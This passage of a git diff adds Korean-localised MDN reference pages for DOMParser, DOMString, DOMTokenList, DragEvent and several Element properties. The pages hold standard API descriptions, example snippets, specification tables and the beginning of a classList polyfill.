+ <li>IME 형식이 <code>text/xml</code>이면, <code>XMLDocument</code> 객체가 반환된다.</li>
+ <li>MIME 형식이 <code>image/svg+xml</code>이면, <code>SVGDocument</code> 객체가 반환된다.</li>
+ <li>MIME 형식이 <code>text/html</code>이면, <code>HTMLDocument</code> 객체가 반환된다.</li>
+</ol>
+
+<pre class="brush: js notranslate">let parser = new DOMParser()
+let doc = parser.parseFromString(stringContainingXMLSource, "application/xml")
+// Document 객체가 반환되지만, SVGDocument 및 HTMLDocument 객체가 아니다.
+
+parser = new DOMParser();
+doc = parser.parseFromString(stringContainingSVGSource, "image/svg+xml")
+// SVGDocument 객체가 반환되며, 이 또한 Document 객체이기도 하다.
+
+parser = new DOMParser();
+doc = parser.parseFromString(stringContainingHTMLSource, "text/html")
+// HTMLDocument 객체가 반환되며, 이 또한 Document 객체이기도 하다.
+</pre>
+
+<h2 id="DOMParser_HTML_확장">DOMParser HTML 확장</h2>
+
+<pre class="brush: js notranslate">/*
+ * DOMParser HTML 확장
+ * 2012-09-04
+ *
+ * By Eli Grey, http://eligrey.com
+ * Public domain.
+ * 이 구현체에 대한 보증이 없으므로 주의해서 사용할 것.
+ */
+
+/*! @source https://gist.github.com/1129031 */
+/*global document, DOMParser*/
+
+(function(DOMParser) {
+	"use strict";
+
+	var proto = DOMParser.prototype,
+        nativeParse = <span style="font-size: 1rem;">proto</span><span style="font-size: 1rem;">.parseFromString</span>;
+
+	// Firefox/Opera/IE 에서 지원하지 않는 형식에 오류 발생
+	try {
+		// WebKit returns null on unsupported types
+		if ((new DOMParser()).parseFromString("", "text/html")) {
+			// text/html parsing is natively supported
+			return;
+		}
+	} catch (ex) {}
+
+	<span style="font-size: 1rem;">proto</span><span style="font-size: 1rem;">.parseFromString = function(markup, type) {</span>
+		if (/^\s*text\/html\s*(?:;|$)/i.test(type)) {
+			var
+			  doc = document.implementation.createHTMLDocument("")
+			;
+	      		if (markup.toLowerCase().indexOf('&lt;!doctype') &gt; -1) {
+        			doc.documentElement.innerHTML = markup;
+      			}
+      			else {
+        			doc.body.innerHTML = markup;
+      			}
+			return doc;
+		} else {
+			return <span style="font-size: 1rem;">nativeParse</span><span style="font-size: 1rem;">.apply(this, arguments);</span>
+		}
+	};
+}(DOMParser));
+</pre>
+
+<h2 id="규격">규격</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', '#dom-parsing-and-serialization', 'DOM parsing')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.DOMParser", 3)}}</p>
+
+<h2 id="See_also" name="See_also">같이 보기</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Parsing_and_serializing_XML" title="Parsing_and_serializing_XML">XML 문서 직렬화와 해석</a> </li>
+ <li>{{domxref("XMLHttpRequest")}}</li>
+ <li>{{domxref("XMLSerializer")}}</li>
+ <li>{{jsxref("JSON.parse()")}} - {{jsxref("JSON")}} 문서에 대해 같은 역할을 제공한다.</li>
+</ul>
diff --git a/files/ko/web/api/domstring/index.html b/files/ko/web/api/domstring/index.html
new file mode 100644
index 0000000000..0a0b547159
--- /dev/null
+++ b/files/ko/web/api/domstring/index.html
@@ -0,0 +1,43 @@
+---
+title: DOMString
+slug: Web/API/DOMString
+tags:
+  - API
+  - DOM
+  - Reference
+  - String
+translation_of: Web/API/DOMString
+---
+<div>{{APIRef("DOM")}}</div>
+
+<p><strong><code>DOMString</code></strong>은 UTF-16 문자열입니다. JavaScript의 {{jsxref("String")}}도 UTF-16 문자열이기 때문에 <code>DOMString</code>은 <code>String</code>으로 연결됩니다.</p>
+
+<p><code>DOMString</code>을 받는 매개변수에 {{jsxref("null")}}을 전달하면, 보통 문자열로 변환해 <code>"null"</code>이 됩니다.</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('WebIDL', '#idl-DOMString', 'DOMString')}}</td>
+   <td>{{Spec2('WebIDL')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>JavaScript {{jsxref("String")}}</li>
+ <li>{{domxref("USVString")}}</li>
+ <li>{{domxref("CSSOMString")}}</li>
+ <li><a href="/ko/docs/Web/API/DOMString/Binary">이진 문자열</a></li>
+</ul>
diff --git a/files/ko/web/api/domtokenlist/contains/index.html b/files/ko/web/api/domtokenlist/contains/index.html
new file mode 100644
index 0000000000..5913cdf749
--- /dev/null
+++ b/files/ko/web/api/domtokenlist/contains/index.html
@@ -0,0 +1,117 @@
+---
+title: DOMTokenList.contains()
+slug: Web/API/DOMTokenList/contains
+translation_of: Web/API/DOMTokenList/contains
+---
+<p>{{APIRef("DOM")}}</p>
+
+<p>The <code><strong>contains()</strong></code> method of the {{domxref("DOMTokenList")}} interface returns a {{domxref("Boolean")}} — <code>true</code> if the underlying list contains the given <em>token</em>, otherwise <code>false</code>.</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox">tokenList.contains(token);</pre>
+
+<h3 id="Parameters">Parameters</h3>
+
+<dl>
+ <dt>token</dt>
+ <dd>A {{domxref("DOMString")}} representing the token you want to check for the existance of in the list.</dd>
+</dl>
+
+<h3 id="Return_value">Return value</h3>
+
+<p>A {{domxref("Boolean")}} — <code>true</code> if the underlying list contains the given <em>token</em>, otherwise <code>false</code>.</p>
+
+<h2 id="Examples">Examples</h2>
+
+<p>In the following example we retrieve the list of classes set on a {{htmlelement("span")}} element as a <code>DOMTokenList</code> using {{domxref("Element.classList")}}. We then test for the existance of "c" in the list, and write the result into the <code>&lt;span&gt;</code>'s {{domxref("Node.textContent")}}.</p>
+
+<p>First, the HTML:</p>
+
+<pre class="brush: html">&lt;span class="a b c"&gt;&lt;/span&gt;</pre>
+
+<p>Now the JavaScript:</p>
+
+<pre class="brush: js">var span = document.querySelector("span");
+var classes = span.classList;
+var result = classes.contains("c");
+if(result) {
+  span.textContent = "The classList contains 'c'";
+} else {
+   span.textContent = "The classList does not contain 'c'";
+}</pre>
+
+<p>The output looks like this:</p>
+
+<p>{{ EmbedLiveSample('Examples', '100%', 60) }}</p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM WHATWG','#dom-domtokenlist-contains','contains()')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>10</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android Webview</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p> </p>
diff --git a/files/ko/web/api/domtokenlist/index.html b/files/ko/web/api/domtokenlist/index.html
new file mode 100644
index 0000000000..a3b7c6fd97
--- /dev/null
+++ b/files/ko/web/api/domtokenlist/index.html
@@ -0,0 +1,115 @@
+---
+title: DOMTokenList
+slug: Web/API/DOMTokenList
+tags:
+  - API
+  - DOM
+  - DOMTokenList
+  - Interface
+  - Reference
+translation_of: Web/API/DOMTokenList
+---
+<div>{{APIRef("DOM")}}</div>
+
+<p>The <code><strong>DOMTokenList</strong></code> interface represents a set of space-separated tokens. Such a set is returned by {{domxref("Element.classList")}}, {{domxref("HTMLLinkElement.relList")}}, {{domxref("HTMLAnchorElement.relList")}}, {{domxref("HTMLAreaElement.relList")}}, {{domxref("HTMLIframeElement.sandbox")}}, or {{domxref("HTMLOutputElement.htmlFor")}}. It is indexed beginning with <code>0</code> as with JavaScript {{jsxref("Array")}} objects. <code>DOMTokenList</code> is always case-sensitive.</p>
+
+<h2 id="Properties">Properties</h2>
+
+<dl>
+ <dt>{{domxref("DOMTokenList.length")}} {{ReadOnlyInline}}</dt>
+ <dd>Is an <code>integer</code> representing the number of objects stored in the object.</dd>
+ <dt>{{domxref("DOMTokenList.value")}}</dt>
+ <dd>The value of the list as a {{domxref("DOMString")}}.</dd>
+</dl>
+
+<h2 id="Methods">Methods</h2>
+
+<dl>
+ <dt>{{domxref("DOMTokenList.item()")}}</dt>
+ <dd>Returns an item in the list by its index (returns <code>undefined</code> if the number is greater than or equal to the length of the list).</dd>
+ <dt>{{domxref("DOMTokenList.contains()")}}</dt>
+ <dd>Returns <code>true</code> if the list contains the given <em>token</em>, otherwise <code>false</code>.</dd>
+ <dt>{{domxref("DOMTokenList.add()")}}</dt>
+ <dd>Adds the given <em>token</em> to the list.</dd>
+ <dt>{{domxref("DOMTokenList.remove()")}}</dt>
+ <dd>Removes the specified <em>token</em> from the list.</dd>
+ <dt>{{domxref("DOMTokenList.replace()")}}</dt>
+ <dd>Replaces an existing <em>token</em> with a new token.</dd>
+ <dt>{{domxref("DOMTokenList.supports()")}}</dt>
+ <dd>Returns <code>true</code> if a given <em>token</em> is in the associated attribute's supported tokens.</dd>
+ <dt>{{domxref("DOMTokenList.toggle()")}}</dt>
+ <dd>Removes a given <em>token</em> from the list and returns <code>false</code>. If <em>token</em> doesn't exist it's added and the function returns <code>true</code>.</dd>
+ <dt>{{domxref("DOMTokenList.entries()")}}</dt>
+ <dd>Returns an {{jsxref("Iteration_protocols","iterator")}} allowing you to go through all key/value pairs contained in this object.</dd>
+ <dt>{{domxref("DOMTokenList.forEach()")}}</dt>
+ <dd>Executes a provided function once per <code>DOMTokenList</code> element.</dd>
+ <dt>{{domxref("DOMTokenList.keys()")}}</dt>
+ <dd>Returns an {{jsxref("Iteration_protocols", "iterator")}} allowing you to go through all keys of the key/value pairs contained in this object.</dd>
+ <dt>{{domxref("DOMTokenList.values()")}}</dt>
+ <dd>Returns an {{jsxref("Iteration_protocols", "iterator")}} allowing you to go through all values of the key/value pairs contained in this object.</dd>
+</dl>
+
+<h2 id="Examples">Examples</h2>
+
+<p>In the following simple example we retrieve the list of classes set on a {{htmlelement("p")}} element as a <code>DOMTokenList</code> using {{domxref("Element.classList")}}, add a class using {{domxref("DOMTokenList.add()")}}, and then update the {{domxref("Node.textContent")}} of the <code>&lt;p&gt;</code> to equal the <code>DOMTokenList</code>.</p>
+
+<p>First, the HTML:</p>
+
+<pre class="brush: html">&lt;p class="a b c"&gt;&lt;/p&gt;</pre>
+
+<p>Now the JavaScript:</p>
+
+<pre class="brush: js">var para = document.querySelector("p");
+var classes = para.classList;
+para.classList.add("d");
+para.textContent = 'paragraph classList is "' + classes + '"';</pre>
+
+<p>The output looks like this:</p>
+
+<p>{{ EmbedLiveSample('Examples', '100%', 60) }}</p>
+
+<h2 id="Trimming_of_whitespace_and_removal_of_duplicates">Trimming of whitespace and removal of duplicates</h2>
+
+<p>Methods that modify the <code>DOMTokenList</code> (such as {{domxref("DOMTokenList.add()")}}) automatically trim any excess {{Glossary("Whitespace")}} and remove duplicate values from the list. For example:</p>
+
+<pre class="brush: html">&lt;span class="    d   d e f"&gt;&lt;/span&gt;</pre>
+
+<pre class="brush: js">var span = document.querySelector("span");
+var classes = span.classList;
+span.classList.add("x");
+span.textContent = 'span classList is "' + classes + '"';</pre>
+
+<p>The output looks like this:</p>
+
+<p>{{ EmbedLiveSample('Trimming_of_whitespace_and_removal_of_duplicates', '100%', 60) }}</p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("DOM WHATWG", "#interface-domtokenlist", "DOMTokenList")}}</td>
+   <td>{{Spec2("DOM WHATWG")}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("api.DOMTokenList")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{domxref("DOMSettableTokenList")}} (object that extends <code>DOMTokenList</code> with settable <em>.value</em> property)</li>
+</ul>
diff --git a/files/ko/web/api/dragevent/index.html b/files/ko/web/api/dragevent/index.html
new file mode 100644
index 0000000000..855e0fa9eb
--- /dev/null
+++ b/files/ko/web/api/dragevent/index.html
@@ -0,0 +1,109 @@
+---
+title: DragEvent
+slug: Web/API/DragEvent
+tags:
+  - API
+  - DragEvent
+  - Reference
+  - drag and drop
+translation_of: Web/API/DragEvent
+---
+<div>{{APIRef("HTML Drag and Drop API")}}</div>
+
+<p>The <strong><code>DragEvent</code></strong> interface is a {{domxref("Event","DOM event")}} that represents a drag and drop interaction. The user initiates a drag by placing a pointer device (such as a mouse) on the touch surface and then dragging the pointer to a new location (such as another DOM element). Applications are free to interpret a drag and drop interaction in an application-specific way.</p>
+
+<p class="note">This interface inherits properties from {{domxref("MouseEvent")}} and {{domxref("Event")}}.</p>
+
+<h2 id="Properties">Properties</h2>
+
+<dl>
+ <dt>{{domxref('DragEvent.dataTransfer')}} {{readonlyInline}}</dt>
+ <dd>The data that is transferred during a drag and drop interaction.</dd>
+</dl>
+
+<h2 id="Constructors">Constructors</h2>
+
+<p class="note">Although this interface has a constructor, it is not possible to create a useful DataTransfer object from script, since {{domxref("DataTransfer")}} objects have a processing and security model that is coordinated by the browser during drag-and-drops.</p>
+
+<dl>
+ <dt>{{domxref("DragEvent.DragEvent", "DragEvent()")}}</dt>
+ <dd>Creates a synthetic and untrusted DragEvent.</dd>
+</dl>
+
+<h2 id="Event_types">Event types</h2>
+
+<dl>
+ <dt>{{event('drag')}}</dt>
+ <dd>This event is fired when an element or text selection is being dragged.</dd>
+ <dt>{{event('dragend')}}</dt>
+ <dd>This event is fired when a drag operation is being ended (by releasing a mouse button or hitting the escape key).</dd>
+ <dt>{{event('dragenter')}}</dt>
+ <dd>This event is fired when a dragged element or text selection enters a valid drop target.</dd>
+ <dt>{{event('dragexit')}}</dt>
+ <dd>This event is fired when an element is no longer the drag operation's immediate selection target.</dd>
+ <dt>{{event('dragleave')}}</dt>
+ <dd>This event is fired when a dragged element or text selection leaves a valid drop target.</dd>
+ <dt>{{event('dragover')}}</dt>
+ <dd>This event is fired continuously when an element or text selection is being dragged and the mouse pointer is over a valid drop target (every 50 ms WHEN mouse is not moving ELSE much faster between 5 ms (slow movement) and 1ms (fast movement) approximately. This firing pattern is different than {{Event("mouseover")}} ).</dd>
+ <dt>{{event('dragstart')}}</dt>
+ <dd>This event is fired when the user starts dragging an element or text selection.</dd>
+ <dt>{{event('drop')}}</dt>
+ <dd>This event is fired when an element or text selection is dropped on a valid drop target.</dd>
+</dl>
+
+<h2 id="GlobalEventHandlers">GlobalEventHandlers</h2>
+
+<dl>
+ <dt>{{domxref('GlobalEventHandlers.ondrag')}}</dt>
+ <dd>A {{domxref('GlobalEventHandlers','global event handler')}} for the {{event('drag')}} event.</dd>
+ <dt>{{domxref('GlobalEventHandlers.ondragend')}}</dt>
+ <dd>A {{domxref('GlobalEventHandlers','global event handler')}} for the {{event('dragend')}} event.</dd>
+ <dt>{{domxref('GlobalEventHandlers.ondragenter')}}</dt>
+ <dd>A {{domxref('GlobalEventHandlers','global event handler')}} for the {{event('dragenter')}} event.</dd>
+ <dt>{{domxref('GlobalEventHandlers.ondragexit')}}</dt>
+ <dd>A {{domxref('GlobalEventHandlers','global event handler')}} for the {{event('dragexit')}} event.</dd>
+ <dt>{{domxref('GlobalEventHandlers.ondragleave')}}</dt>
+ <dd>A {{domxref('GlobalEventHandlers','global event handler')}} for the {{event('dragleave')}} event.</dd>
+ <dt>{{domxref('GlobalEventHandlers.ondragover')}}</dt>
+ <dd>A {{domxref('GlobalEventHandlers','global event handler')}} for the {{event('dragover')}} event.</dd>
+ <dt>{{domxref('GlobalEventHandlers.ondragstart')}}</dt>
+ <dd>A {{domxref('GlobalEventHandlers','global event handler')}} for the {{event('dragstart')}} event.</dd>
+ <dt>{{domxref('GlobalEventHandlers.ondrop')}}</dt>
+ <dd>A {{domxref('GlobalEventHandlers','global event handler')}} for the {{event('drop')}} event.</dd>
+</dl>
+
+<h2 id="Example">Example</h2>
+
+<p>An Example of each property, constructor, event type and global event handlers is included in their respective reference page.</p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName("HTML WHATWG", "#dragevent", "DragEvent")}}</td>
+   <td>{{Spec2("HTML WHATWG")}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName("HTML5.1", "editing.html#the-dragevent-interface", "DragEvent")}}</td>
+   <td>{{Spec2("HTML5.1")}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("api.DragEvent")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<p>{{page("/en-US/docs/Web/API/DataTransfer", "See also")}}</p>
diff --git a/files/ko/web/api/element/accesskey/index.html b/files/ko/web/api/element/accesskey/index.html
new file mode 100644
index 0000000000..f3206eae4b
--- /dev/null
+++ b/files/ko/web/api/element/accesskey/index.html
@@ -0,0 +1,34 @@
+---
+title: Element.accessKey
+slug: Web/API/Element/accessKey
+tags:
+  - API
+  - Access Keys
+  - DOM
+  - Hotkeys
+  - NeedsContent
+  - 레퍼런스
+  - 속성
+  - 엘리먼트
+  - 키보드 단축키
+translation_of: Web/API/HTMLElement/accessKey
+---
+<div>{{APIRef("DOM")}}</div>
+
+<p><code><strong>Element.accessKey</strong></code> 속성은 주어진 사용자가 눌러 주어진 엘리먼트로 이동할 수 있는 키 입력 세트입니다.</p>
+
+<div class="note">
+<p><code>Element.accessKey</code> 속성은 브라우저에 이미 바인딩 된 키와의 여러 충돌로 인해 거의 사용되지 않습니다. 이를 해결하기 위해, 브라우저는 다른 "적절한" 키(예, <kbd>Alt</kbd> + accesskey)와 함께 키가 눌렸을 때동작하도록 구현하였습니다.</p>
+</div>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.Element.accessKey")}}</p>
+
+<h2 id="함께_보기">함께 보기</h2>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/ko/docs/Web/HTML/Global_attributes/accesskey">HTML 전역 속성: accesskey</a></li>
+</ul>
diff --git a/files/ko/web/api/element/attributes/index.html b/files/ko/web/api/element/attributes/index.html
new file mode 100644
index 0000000000..53f9f8f0cf
--- /dev/null
+++ b/files/ko/web/api/element/attributes/index.html
@@ -0,0 +1,72 @@
+---
+title: element.attributes
+slug: Web/API/Element/attributes
+tags:
+  - DOM
+  - Gecko
+  - Gecko DOM Reference
+translation_of: Web/API/Element/attributes
+---
+<p>{{ ApiRef() }}</p>
+<h3 id=".EC.9A.94.EC.95.BD" name=".EC.9A.94.EC.95.BD">요약</h3>
+<p>주어진 요소의 속성 모음(collection)을 반환합니다.</p>
+<h3 id=".EA.B5.AC.EB.AC.B8" name=".EA.B5.AC.EB.AC.B8">구문</h3>
+<pre class="eval">var<i>attrs</i> =<i>element</i>.attributes;
+</pre>
+<p>반환하는 개체는 <code>Attr</code> 노드를 포함하는 <a class="external" href="http://www.w3.org/TR/DOM-Level-2-Core/core.html#ID-1780488922">NamedNodeMap</a> 형입니다. 요소가 지정된 속성이 없으면, 반환하는 개체는 길이가 0입니다. 이 속성은 읽기 전용입니다.</p>
+<h3 id=".EC.98.88" name=".EC.98.88">예</h3>
+<pre class="eval">// 문서에서 첫 &lt;p&gt; 요소 얻기
+var para = document.getElementsByTagName("p")[0];
+var atts = para.attributes;
+</pre>
+<h3 id=".EC.A3.BC.EC.9D.98" name=".EC.A3.BC.EC.9D.98">주의</h3>
+<p>모음의 항목은 이름과 찾아보기(index)로 접근할 수 있습니다. <code>NodeList</code>와는 달리, <code>NamedNodeMap</code>은 항목을 어떤 특정 순서로 유지하지 않음을 주의하세요.</p>
+<p>여러분은 문서에서 "p1" 요소의 모든 속성값을 찍는 다음 예에서처럼 요소의 속성을 열거(enumerate)할 때 오직 찾아보기로 접근(access by index)을 써야 합니다.</p>
+<pre>&lt;!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"
+"http://www.w3.org/TR/html4/strict.dtd"&gt;
+
+&lt;html&gt;
+
+ &lt;head&gt;
+  &lt;title&gt;Attributes example&lt;/title&gt;
+  &lt;script type="text/javascript"&gt;
+   function showFirstAttr()
+   {
+    var firstPara = document.getElementById("p1");
+    var outputText = document.getElementById("result");
+
+    // 먼저, paragraph에 어떤 속성이 있는지 검증
+    if (firstPara.hasAttributes())
+    {
+      var attrs = firstPara.attributes;
+      var text = "";
+      for(var i=attrs.length-1; i&gt;=0; i--) {
+        text += attrs[i].name + "-&gt;" + attrs[i].value;
+      }
+      outputText.value = text;
+    } else {
+      outputText.value = "No attributes to show"
+    };
+   }
+  &lt;/script&gt;
+ &lt;/head&gt;
+
+&lt;body&gt;
+ &lt;p id="p1" style="color: green;"&gt;Sample Paragraph&lt;/p&gt;
+ &lt;form action=""&gt;
+  &lt;p&gt;&lt;input type="button" value="Show first attribute name and value"
+      onclick="showFirstAttr();"&gt;
+  &lt;input id="result" type="text" value=""&gt;&lt;/p&gt;
+ &lt;/form&gt;
+&lt;/body&gt;
+&lt;/html&gt;
+</pre>
+<p><code>NamedNodeMap</code>은 배열처럼 반복될 수 있지만, <code>join</code>, <code>split</code> 등과 같은 <code>Array</code>에 있는 어떤 특수 메소드는 없습니다.</p>
+<p>이름으로 특정 속성에 접근하려면, <a href="ko/DOM/element.getAttribute">getAttribute</a> 메소드를 쓰세요.</p>
+<h3 id=".EB.AA.85.EC.84.B8" name=".EB.AA.85.EC.84.B8">명세</h3>
+<ul>
+ <li><a class="external" href="http://www.w3.org/TR/DOM-Level-2-Core/core.html#ID-84CF096">W3C DOM Level 2 Core: attributes</a></li>
+ <li><a class="external" href="http://www.w3.org/TR/DOM-Level-3-Core/core.html#ID-84CF096">W3C DOM Level 3 Core: attributes</a></li>
+ <li><a class="external" href="http://www.w3.org/TR/DOM-Level-3-Core/core.html#ID-1780488922">W3C DOM Level 3 NamedNodeMap interface</a></li>
+</ul>
+<p>{{ languages( { "en": "en/DOM/element.attributes", "fr": "fr/DOM/element.attributes", "pl": "pl/DOM/element.attributes" } ) }}</p>
diff --git a/files/ko/web/api/element/classlist/index.html b/files/ko/web/api/element/classlist/index.html
new file mode 100644
index 0000000000..49b710c2be
--- /dev/null
+++ b/files/ko/web/api/element/classlist/index.html
@@ -0,0 +1,285 @@
+---
+title: Element.classList
+slug: Web/API/Element/classList
+tags:
+  - API
+  - DOM
+  - 레퍼런스
+  - 속성
+  - 엘리먼트
+  - 읽기 전용
+translation_of: Web/API/Element/classList
+---
+<div>{{APIRef("DOM")}}</div>
+
+<p><code><strong>Element.classList</strong></code>는 엘리먼트의 클래스 속성의 컬렉션인 활성 {{domxref("DOMTokenList")}}를 반환하는 읽기 전용 프로퍼티이다.</p>
+
+<p><code>classList</code> 사용은 공백으로 구분된 문자열인 {{domxref("element.className")}}을 통해 엘리먼트의 클래스 목록에 접근하는 방식을 대체하는 간편한 방법이다.</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox" dir="rtl">const <var>elementClasses</var> = elementNodeReference.classList;
+</pre>
+
+<p><em>elementClasses</em>는 <em>elementNodeReference</em>의 클래스 속성을 나타내는 {{domxref("DOMTokenList")}}이다. 만약 클래스 속성이 설정되어 있지 않거나 비어있다면 <em>elementClasses.length</em>는 <code>0</code>을 반환한다. <code>element.classList</code> 그 자체는 읽기 전용 프로퍼티지만 <code>add()</code>와 <code>remove()</code> 메서드를 이용하여 변형할 수 있다.</p>
+
+<h2 id="메서드">메서드</h2>
+
+<dl>
+ <dt><code>add( String [, String [, ...]] )</code></dt>
+ <dd>지정한 클래스 값을 추가한다. 만약 추가하려는 클래스가 엘리먼트의 <code>class</code> 속성에 이미 존재한다면 무시한다.</dd>
+ <dt><code>remove( String [, String [, ...]] )</code></dt>
+ <dd>지정한 클래스 값을 제거한다.</dd>
+ <dd>
+ <div class="note"><strong>노트:</strong> 존재하지 않는 클래스를 제거하는 것은 <strong>에러를 발생시키지 않습니다.</strong></div>
+ </dd>
+ <dt><code><strong>item</strong>( Number )</code></dt>
+ <dd>콜렉션의 인덱스를 이용하여 클래스 값을 반환한다.</dd>
+ <dt><code><strong>toggle</strong>( String [, force] )</code></dt>
+ <dd>하나의 인수만 있을 때: 클래스 값을 토글링한다. 즉, 클래스가 존재한다면 제거하고 <code>false</code>를 반환하며, 존재하지 않으면 클래스를 추가하고 <code>true</code>를 반환한다.</dd>
+ <dd>두번째 인수가 있을 때: 두번째 인수가 <code>true</code>로 평가되면 지정한 클래스 값을 추가하고 <code>false</code>로 평가되면 제거한다.</dd>
+ <dt><code>contains( String )</code></dt>
+ <dd>지정한 클래스 값이 엘리먼트의 <code>class</code> 속성에 존재하는지 확인한다.</dd>
+ <dt><code>replace( oldClass, newClass )</code></dt>
+ <dd>존재하는 클래스를 새로운 클래스로 교체한다.</dd>
+</dl>
+
+<h2 id="예제">예제</h2>
+
+<pre>const div = document.createElement('div');
+div.className = 'foo';
+
+// our starting state: &lt;div class="foo"&gt;&lt;/div&gt;
+console.log(div.outerHTML);
+
+// use the classList API to remove and add classes
+div.classList.remove("foo");
+div.classList.add("anotherclass");
+
+// &lt;div class="anotherclass"&gt;&lt;/div&gt;
+console.log(div.outerHTML);
+
+// if visible is set remove it, otherwise add it
+div.classList.toggle("visible");
+
+// add/remove visible, depending on test conditional, i less than 10
+div.classList.toggle("visible", i &lt; 10 );
+
+console.log(div.classList.contains("foo"));
+
+// add or remove multiple classes
+div.classList.add("foo", "bar", "baz");
+div.classList.remove("foo", "bar", "baz");
+
+// add or remove multiple classes using spread syntax
+const cls = ["foo", "bar"];
+div.classList.add(...cls);
+div.classList.remove(...cls);
+
+// replace class "foo" with class "bar"
+div.classList.replace("foo", "bar");</pre>
+
+<div class="note">
+<p>파이어폭스 26 이전의 버전에서는 add/remove/toggle 메서드에서 여러 인수의 사용을 구현하지 않았다. <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=814014">https://bugzilla.mozilla.org/show_bug.cgi?id=814014</a> 링크를 참조하라.</p>
+</div>
+
+<h2 id="폴리필">폴리필</h2>
+
+<p>The legacy <code><a href="https://msdn.microsoft.com/en-us/windows/ms536956(v=vs.71)">onpropertychange</a></code> event can be used to create a living <code>classList</code> mockup thanks to a <code>Element.prototype.className</code> property that fires the specified event once it is changed.</p>
+
+<p>The following polyfill for both <code>classList</code> and <code>DOMTokenList</code> ensures <strong>full</strong> compliance (coverage) for all standard methods and properties of <code>Element.prototype.classList</code> for <strong>IE10</strong>-<strong>IE11 </strong>browsers plus <em>nearly</em> compliant behavior for <strong>IE 6-9</strong>. Check it out:</p>
+
+<pre>// 1. String.prototype.trim polyfill
+if (!"".trim) String.prototype.trim = function(){ return this.replace(/^[\s]+|[\s]+$/g, ''); };
+(function(window){"use strict"; // prevent global namespace pollution
+if(!window.DOMException) (DOMException = function(reason){this.message = reason}).prototype = new Error;
+var wsRE = /[\11\12\14\15\40]/, wsIndex = 0, checkIfValidClassListEntry = function(O, V) {
+  if (V === "") throw new DOMException(
+    "Failed to execute '" + O + "' on 'DOMTokenList': The token provided must not be empty." );
+  if((wsIndex=V.search(wsRE))!==-1) throw new DOMException("Failed to execute '"+O+"' on 'DOMTokenList': " +
+    "The token provided ('"+V[wsIndex]+"') contains HTML space characters, which are not valid in tokens.");
+}
+// 2. Implement the barebones DOMTokenList livelyness polyfill
+if (typeof DOMTokenList !== "function") (function(window){
+    var document = window.document, Object = window.Object, hasOwnProp = Object.prototype.hasOwnProperty;
+    var defineProperty = Object.defineProperty, allowTokenListConstruction = 0, skipPropChange = 0;
+    function DOMTokenList(){
+        if (!allowTokenListConstruction) throw TypeError("Illegal constructor"); // internally let it through
+    }
+    DOMTokenList.prototype.toString = DOMTokenList.prototype.toLocaleString = function(){return this.value};
